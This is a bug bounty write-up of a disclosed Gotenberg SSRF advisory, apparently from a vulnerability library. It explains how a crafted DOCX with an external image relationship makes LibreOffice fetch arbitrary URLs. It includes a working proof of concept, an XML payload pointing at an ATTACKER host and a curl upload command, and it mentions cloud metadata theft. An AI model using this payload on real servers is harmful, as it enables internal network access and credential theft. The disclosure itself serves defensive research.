# Gotenberg has a Server-Side Request Forgery (SSRF) Issue

Gotenberg's LibreOffice convert endpoint passes uploaded DOCX to LibreOffice, which fetches embedded external image URLs, bypassing Go-level SSRF filters and enabling internal network and cloud metadata access.

- Payout: Research
- Severity: high
- Program: Gotenberg
- Found by: kakarotsec
- Disclosed: 2026-05-07
- CVE: CVE-2026-42591
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-rm4c-xj6x-49mw
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-rm4c-xj6x-49mw
- Tags: area:web domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:go technique:incomplete-fix technique:source-review vuln:info-disclosure vuln:ssrf

**Target:** /forms/libreoffice/convert document conversion endpoint
**Root cause:** The v8.31.0 SSRF hardening only wraps Go's http.Client dialer; LibreOffice runs as a separate process making its own libcurl connections, and uploaded OOXML content is never inspected for external relationship targets before conversion.
**Steps:**
1. Craft a DOCX ZIP containing `word/_rels/document.xml.rels` with `<Relationship Id="rId10" Type=".../image" Target="http://ATTACKER:9877/ssrf" TargetMode="External"/>`
2. Add `word/document.xml` with `<a:blip r:link="rId10"/>` inside a `w:drawing` to reference the external image
3. Send `curl -s -o output.pdf http://TARGET:3000/forms/libreoffice/convert --form files=@ssrf_test.docx`
4. Observe canary server receiving OPTIONS + 2x GET from `User-Agent: LibreOffice 26.2.2.2`
**How found:** Reporter noticed the v8.31.0 SSRF fix only covered Go-handled outbound URLs (Chromium fetches, webhooks, download-from) and reasoned that LibreOffice, a separate process using libcurl, would bypass the Go dialer; tested with a hand-built DOCX containing an external image relationship and confirmed 3 outbound requests to a canary.
**Exploitation:** Attacker uploads a crafted DOCX to the LibreOffice conversion endpoint; LibreOffice fetches the embedded external URL during PDF rendering, and response data can be reflected into the generated PDF, allowing internal service access, cloud metadata theft at 169.254.169.254, and internal port scanning via timing.
**Escalation:** Response content from internal services can be exfiltrated through the generated PDF output, extending SSRF to data theft and cloud credential compromise.
**Insight:** When a fix hardens only the application's own HTTP client, enumerate every subprocess or embedded engine (LibreOffice, Chromium, converters) that makes its own network calls and test file formats that carry external references like OOXML `TargetMode="External"` relationships.

## Proof of concept (copied exactly from the original report)

**DOCX relationship with external image URL**

```
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
  <Relationship Id="rId10"
    Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
    Target="http://ATTACKER:9877/ssrf"
    TargetMode="External"/>
</Relationships>
```

**Curl upload of crafted DOCX to convert endpoint**

```
curl -s -o output.pdf \
  http://TARGET:3000/forms/libreoffice/convert \
  --form files=@ssrf_test.docx
```